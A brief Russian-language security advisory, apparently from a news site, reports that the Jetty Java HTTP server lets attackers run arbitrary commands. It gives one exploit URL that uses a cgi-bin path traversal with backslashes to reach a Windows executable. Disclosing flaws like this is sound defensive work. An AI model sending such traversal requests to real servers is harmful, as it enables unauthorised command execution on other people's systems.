Jetty — написанный на Java HTTP сервер и Servlet Container.
Баг позволяет выполнять на системе
произвольные команды:

http://jetty-server:8080/cgi-bin/..\..\..\..\..\..\winnt/notepad.exe



Оставить мнение